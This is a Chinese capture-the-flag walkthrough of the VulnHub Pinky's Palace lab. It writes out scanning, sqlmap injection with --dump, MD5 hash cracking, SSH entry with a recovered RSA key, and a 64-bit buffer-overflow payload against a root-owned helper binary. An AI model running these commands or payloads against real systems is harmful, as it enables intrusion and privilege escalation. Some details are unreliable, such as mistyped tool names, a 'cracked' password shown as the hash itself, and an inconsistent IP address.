vulnhub-pinkys-palace通关教程
ip addr add 192.168.5.100/24 dev eth0
ip route add default via 192.168.5.1 dev eth0
ip addr
这里好像没有强调过,之前也用过virtualbox来搭建靶机,这里我们要设置一张桥接网卡和靶机同一网段才能扫到。像这里kali两张网卡nat和桥接,nat上网/连VMware靶机,桥接用来连接virtualbox靶机。

这里用的桥接网卡,挂了些真实设备和我的Windows宿主机,我用的无线连把还有舍友的电脑也扫出来了,就放出靶机ip就行了。。。。
nmap 192.168.5.0/24 -sP

我们发现就一个8080和31337端口,我们思路只能从web枚举信息了
nmap 192.168.5.174

全扫后发现我们目的就是为了枚举出ssh的信息登录,这里还做了代理,我们已经用过很多次了。
nmap 192.168.5.174 -p- -sV -sC -A -T5

我们将靶机IP和代理端口31337代理到本机,用foxyproxy,让流量走这里我们才能访问到web。

这我们发现没有什么信息,连前端源码都不漏点出来。

这里推荐直接使用foxy插件,将代理的IP添加进代理规则192.168.5.174 31337直接访问127.0.0.1:8080如果还是没有访问成功说明FoxyProxy 本身无法绕过 Firefox 原生限制。我第一次打也是这个问题啊,网上找不到教学的。。。AI还是太好用了>_<
- 在火狐地址栏输入:about:config,接受风险继续2. 搜索network.proxy.allow_hijacking_localhost3. 双击,值改为 true4. 再搜索这条,一并修改:network.proxy.no_proxies_on双击打开,删掉里面的127.0.0.1, localhost,保存。这个参数就是火狐原生的不使用代理地址列表,默认包含回环地址。这样流量全部都走这个代理了
这里我们找dirb的密码本,爆出目录。
locate /usr/share/dirbuster/wordlists/
dirb http://127.0.0.1:8080 /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -p 192.168.5.174:31337

这里我们挂了代理,流量走127.0.0.1,我们扫的就是它,但做了代理还要指定代理端口才能让dirb知道你扫描的目的地址和源地址,可以这样理解吧。。。

我们发现了登录窗口,这里我们直接上sqlmap爆破,kali的bp是免费版,线程1太慢了。

挂了代理的情况下sqlmap和dirb的规则差不了多少,我们要扫的是127.0.0.1,但是实际上的地址是192.168.135.174,要指定代理端口,才知道扫的地址,和真正地址。Level3是POST,GET,cookie,user-agent,refer这些都会测。
sqlmap --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=3 --proxy http://192.168.5.174:31337 --data="user=admin&pass=admin" –dump

这里就爆出来了,不知道为什么我的那么慢

这里和上面的一样,只是总结在了一起。

我们看看这串码是什么加密,用hash-identifier输入密码就可以了。
Hash-identifier

这里破解加密有两个工具都是老熟人了hashcat,john都可以,但是我们要知道用的是什么密码本rockyou.txt,知道它的准确位置。
Cocate rockyou.txt
Hashcat -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt
这里-m是使用字典,不用-a 0,cup不支持的话爆不了第一次打的时候我试了。爆破出来
pinkymanage:d60dffed7cc0d87e1f4a11aa06ca73af


Jiho也是一样的,指定密码类型和字典后,将密码放入自定义密码本后直接爆破就行,结果和hashcat的一样,同样爆破出来d60dffed7cc0d87e1f4a11aa06ca73af
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Ssh连接用户,这里ssh22端口做了更改,要用它更改后的端口。
Ssh pinkymanage@192.168.5.174 -p64666

我们进来的第一件事就是导入linpean.sh脚本枚举信息,但是打了那么多台靶机了,流程手工也是可以简单枚举一下。查看mysql是否能udf提权,内核版本,sudo版本。看看本地还有没有用户。
Ps -aux | grep mysql
Sudo -V
Uname -a
Ss -tlnp | gerp 3306 (netstat -tlnpu | grep 3306)


我们发现本地用户下有个加密的类似密钥的东西。

我们将base64编码放到kali本地来破解

我们破解出果然是rsa密钥,密钥的最大问题就是权限400。。。
Cat yang | base64 -d > yang1

我们直接用密钥就能登录本地用户pinky
Ssh -I yang1 pinky@192.168.5.174 -p64666

这段说的是它还不会生成shell,老记不住密码。。。但是我们看到有root运行的程序,看看有没有漏洞利用直接拿root

我们看到他是64位的
File adminhelper

我们将他下载到kali本地,这里我们可以用新方法,在没有python等上传功能的情况下,这个方法也是挺好用的,将他生成base64编码,在解码出来,看MD5的值一致就行,MD5永远不会欺骗你。

我们发现kali和靶机的md5一致,说明文件没有被破坏,还是原来的文件
Md5sum helper


我们发现他会将我们的输入进行输出

我们查看ASLR是否开启0就是没开,1半开,2全开。
cat /proc/sys/kernel/randomize_va_space

我们分析字符,看看都是用了那些函数,会不会存在溢出漏洞。
Strings helper

我们查看主函数,这里我们发现R开头,发现他是64位的缓冲区溢出,少见。
Disas main

查看函数,可以看到strcpy,spawn这些都是溢出函数。。。
Info function

用模糊测试看看是否发生溢出,这里有点小了。。。
Cyc 100

找到偏移量,看看到哪里是刚好发生溢出,就是找到溢出点后边就是我们的shellcode
Cyclic -l

这里找到溢出函数,看rbp,也就类似于32位的jmp esp找到跳板。。。
Disas spawn

在调试器里执行拿不到稳定的shell,说实话这里有点道心破碎了。。。不想解释太多了,后面在靶机执行能拿稳定shell。。。
run $(python -c "print ('A'*72+'\xd0\x47\x55\x55\x55\x55')")


找到跳板,在没有开启NX,canary,ASLR,RELRO时,我们可以利用最简单的shellcode覆盖加nop雪橇的方式来实现缓冲区溢出攻击。

这里也是运气比较好,或者说是我理解的还不到位吧,这里找到跳板函数直接在靶机运行就拿到了稳定的shell。
./adminhelper $(python -c "print ('A'*72+'\xd0\x47\x55\x55\x55\x55')")

也没有什么总结。。。我对缓冲区溢出还是知之甚少,之前我也打了几台缓冲区溢出的靶机,那时我也以为我够用了,结果今天回头看才发现安全防护至关重要,我打的那几台都没有开启什么所谓的栈不可执行,金丝雀检测栈溢出,got表可读,没利用过ROP,没有找过真实地址,即使开ASLR也没真按四大步骤绕过(都是没开启NX,简单的按流程走模糊测溢出,找溢出点,找偏移量,生成32/64位Linux/window的shellcode,找破坏字符,构造exp执行成功拿rootshell)。。。没有真正遇到nx,aslr都开启的情况,没有用过ROP来攻击,没有利用ret2libc技术来实现溢出攻击,我还是太渺小了啊。。。等我学完溢出再单独总结一下我对缓冲区溢出攻击的理解。。。
浙公网安备 33010602011771号